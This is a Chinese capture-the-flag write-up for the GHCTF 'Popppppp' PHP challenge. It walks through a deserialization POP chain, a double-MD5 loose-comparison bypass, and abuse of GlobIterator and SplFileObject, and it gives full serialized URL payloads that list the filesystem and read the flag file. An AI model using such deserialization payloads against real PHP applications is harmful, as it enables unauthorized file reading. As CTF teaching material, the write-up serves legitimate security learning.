ctf-web: php原生类利用 -- GHCTF Popppppp
源代码
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Forbidden {
private $fruit3;
public function __construct($string) {
$this->fruit3 = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
class Warlord {
public $fruit4;
public $fruit5;
public $arg1;
public function __call($arg1, $arg2) {
$function = $this->fruit4;
return $function();
}
public function __get($arg1) {
$this->fruit5->ll2('b2');
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
class UselessTwo {
public $hiddenVar = "123123";
public function __construct($value) {
$this->hiddenVar = $value;
}
public function __toString() {
return $this->hiddenVar;
}
}
class Warrior {
public $fruit12;
private $fruit13;
public function __set($name, $value) {
$this->$name = $value;
if ($this->fruit13 == "xxx") {
strtolower($this->fruit12);
}
}
}
class UselessThree {
public $dummyVar;
public function __call($name, $args) {
return $name;
}
}
class UselessFour {
public $lalala;
public function __destruct() {
echo "Hehe";
}
}
if (isset($_GET['GHCTF'])) {
unserialize($_GET['GHCTF']);
} else {
highlight_file(__FILE__);
}
step 1 找利用点
翻找全部类发现没有可控任意函数执行点,但是能发现一个很特别的类
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
array_walk()
array_walk
是 PHP 中一个用于对数组中的每个元素应用回调函数的函数。该函数的基本用法是遍历数组,并对每个元素调用用户自定义的回调函数,回调函数可以修改数组元素的值。
语法
bool array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
$array
:输入的数组,必须是引用传递(&)。$callback
:用户自定义的回调函数,函数名称或匿名函数。$userdata
:可选参数,用户自定义的数据,这个数据会作为第三个参数传递给回调函数。
但是Mystery是没有属性的,这里要展示一个php反序列化的特性
<?php
class Mystery {
public $test = 'Hello World!';
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
$obj = new Mystery();
echo serialize($obj);
先序列化这段代码,得到输出,再尝试下面这段代码
<?php
class test{
public function __construct($echo)
{
echo $echo;
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = new $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
$obj = unserialize('O:7:"Mystery":1:{s:4:"test";s:12:"Hello World!";}');
$obj->inexistent;
你将能看到Mystery获得了本不属于他的 $test = 'Hello World!'
,并调用了test类输出了Hello World!
我将在之后讲述如何继续利用,在这之前先让我们寻找可用的pop链
step 2 寻找反序列化链
我们要向上寻找能调用其不存在属性的类
注意这个类是不行的,因为
__set
与__get
作用是相似的,如果__set
能触发,那么__get
也能触发
$this->fruit7->tt2
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
所以只能考虑这个类
$this->fruit7->tt2
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
tips: 在 PHP 中,
'666abc' == 666
为真
编写python脚本找到一个经过两次md5后开头为666的字符串
import hashlib
def md5_hash(text):
"""返回给定文本的MD5哈希值(小写十六进制形式)"""
return hashlib.md5(text.encode('utf-8')).hexdigest()
def find_string_with_double_md5(prefix):
"""查找经过两次MD5哈希后,哈希值前缀为指定前缀的字符串"""
num = 0
while True:
# 第一次 MD5 哈希
first_hash = md5_hash(str(num))
# 第二次 MD5 哈希
second_hash = md5_hash(first_hash)
# 检查第二次哈希值的前缀
if second_hash.startswith(prefix):
return str(num), second_hash
num += 1
# 目标前缀 "666"
target_prefix = "666"
result_string, result_hash = find_string_with_double_md5(target_prefix)
print(f"找到的字符串: {result_string}")
print(f"第二次MD5哈希值: {result_hash}")
得到213
接下来寻找如何触发
__invoke()
排除掉干扰项找到
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
找到这里链条已经闭合,可以写出链条。
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
}
class Philosopher {
public $fruit10;
public $fruit11="213";
}
class Mystery {
public $test = 'Hello World!';
}
$obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();
echo serialize($obj);
step 3 利用
GlobIterator
是 PHP 中的一个内置类,属于 SplFileInfo
类的子类,用于遍历符合特定模式的文件系统路径。它实现了一个基于文件名模式匹配的迭代器,常常用于处理和读取一组符合 glob 模式(如 *.txt
)的文件。GlobIterator
类可以让你方便地使用迭代器模式来遍历符合模式的文件路径。
基本概念:
GlobIterator
类是基于 glob 函数的,它允许你在文件系统中查找符合给定模式的文件。例如,可以使用 *.txt
来匹配所有 .txt
文件。
语法:
new GlobIterator(string $glob_pattern);
- $glob_pattern:一个文件路径模式,可以包含通配符(如
*
、?
),用来匹配文件名或路径。
常见方法:
GlobIterator
类继承了 Traversable
和 Iterator
接口,因此它可以被用于 foreach
循环进行遍历。它提供了与文件相关的信息(如文件大小、修改时间等)。
1. getFilename()
:
获取当前文件或目录的文件名。
2. getPathname()
:
获取当前文件或目录的完整路径。
3. getSize()
:
获取当前文件的大小(以字节为单位)。
4. getMTime()
:
获取当前文件的最后修改时间。
5. isDir()
:
检查当前项是否为目录。
6. isFile()
:
检查当前项是否为文件。
示例:使用 GlobIterator
遍历符合模式的文件
getFilename() . "\n";
echo "文件路径: " . $fileinfo->getPathname() . "\n";
echo "文件大小: " . $fileinfo->getSize() . " 字节\n";
echo "最后修改时间: " . date('Y-m-d H:i:s', $fileinfo->getMTime()) . "\n";
echo "是否为目录: " . ($fileinfo->isDir() ? '是' : '否') . "\n";
echo "----------------------------\n";
}
?>
代码解析:
GlobIterator('*.txt')
:我们创建了一个GlobIterator
实例,传入一个模式*.txt
,该模式匹配当前目录下的所有.txt
文件。foreach
:GlobIterator
实现了Traversable
接口,因此它可以直接被用在foreach
循环中进行迭代。每次迭代返回一个SplFileInfo
对象,我们可以用它来获取文件的相关信息。- 输出文件信息:在每次循环中,我们输出文件的:
- 文件名(
getFilename()
) - 文件路径(
getPathname()
) - 文件大小(
getSize()
) - 最后修改时间(
getMTime()
) - 是否为目录(
isDir()
)
- 文件名(
写出文件列出exp,获得文件列表
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
}
class Philosopher {
public $fruit10;
public $fruit11="213";
}
class Mystery {
public $GlobIterator = '/*';
}
$obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();
echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:12:"GlobIterator";s:2:"/*";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}
SplFileObject
是 PHP 中的一个内置类,属于 SPL(Standard PHP Library)库的一部分,它提供了一个面向对象的方式来处理文件操作。相比传统的基于函数的文件处理方式(如 fopen
、fread
、fwrite
等),SplFileObject
提供了更多的封装和面向对象的特性,使得文件操作更为简洁和灵活。
基本概念:
SplFileObject
用于表示一个文件,并允许你以面向对象的方式进行文件读取、写入、修改等操作。它继承自 PHP 内置的 SplFileInfo
类,因此你可以用它来获取文件的基本信息(如文件名、路径、大小等)。
常见方法:
SplFileObject
提供了很多方法来进行文件操作,如读取、写入、遍历文件内容等。
1. 构造函数:
new SplFileObject(string $filename, string $open_mode = 'r', bool $use_include_path = false, resource $context = null);
- $filename:文件名,必须指定。
- $open_mode:打开文件的模式,默认为
'r'
(只读模式),可以是'r'
,'w'
,'a'
,'r+'
等。 - $use_include_path:是否查找包含路径(默认为
false
)。 - $context:文件打开时使用的上下文资源(默认为
null
)。
2. 常用方法:
fgetc()
:读取文件中的下一个字符。fgets()
:读取文件中的一行。fread()
:读取指定长度的数据。fwrite()
:向文件写入数据。fseek()
:设置文件指针的位置。eof()
:检查文件指针是否已经到达文件末尾。flock()
:对文件进行锁定操作(类似于flock()
函数)。getFilename()
:获取文件名(继承自SplFileInfo
)。getSize()
:获取文件大小(继承自SplFileInfo
)。getPathname()
:获取文件的完整路径(继承自SplFileInfo
)。
3. 迭代器接口:
SplFileObject
实现了 Traversable
接口,意味着你可以使用 foreach
来逐行遍历文件内容。
示例 1:读取文件内容
eof()) {
echo $file->fgets(); // 输出当前行
}
?>
- 这里我们创建了一个
SplFileObject
对象,打开example.txt
文件,并使用fgets()
方法逐行读取文件内容直到文件末尾(eof()
)。
示例 2:写入文件
fwrite("Hello, world!\n");
$file->fwrite("This is a test.\n");
// 关闭文件
$file = null;
?>
- 在这个示例中,我们以写入模式(
'w'
)打开output.txt
文件,使用fwrite()
方法向文件写入内容。写入完成后,关闭文件。
示例 3:遍历文件(迭代器)
<?php
// 使用 SplFileObject 作为迭代器,逐行读取文件
$file = new SplFileObject('example.txt', 'r');
foreach ($file as $line) {
echo $line; // 输出每一行
}
?>
SplFileObject
实现了Traversable
接口,因此你可以像使用普通数组一样,用foreach
遍历文件的每一行。
示例 4:文件指针操作
seek(2); // 文件指针指向第 3 行(索引从 0 开始)
// 读取并输出第 3 行
echo $file->fgets(); // 输出第 3 行内容
?>
- 使用
seek()
方法可以将文件指针移动到指定的行。这里seek(2)
将指针移动到第 3 行。
示例 5:检查文件末尾
eof()) {
echo $file->fgets(); // 输出文件内容直到末尾
}
?>
eof()
方法检查文件指针是否已经到达文件末尾。你可以通过此方法来控制读取循环,确保文件没有被读取两次。
写出文件读取
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
}
class Philosopher {
public $fruit10;
public $fruit11="213";
}
class Mystery {
public $SplFileObject="/flag44545615441084";
}
$obj = new CherryBlossom();
$obj -> fruit1 = new CherryBlossom();
$obj -> fruit1 -> fruit2 = new Philosopher();
$obj -> fruit1 -> fruit2 -> fruit10 = new Mystery();
echo serialize($obj);
?GHCTF=O:13:"CherryBlossom":2:{s:6:"fruit1";O:13:"CherryBlossom":2:{s:6:"fruit1";N;s:6:"fruit2";O:11:"Philosopher":2:{s:7:"fruit10";O:7:"Mystery":1:{s:13:"SplFileObject";s:19:"/flag44545615441084";}s:7:"fruit11";s:3:"213";}}s:6:"fruit2";N;}
成功获得flag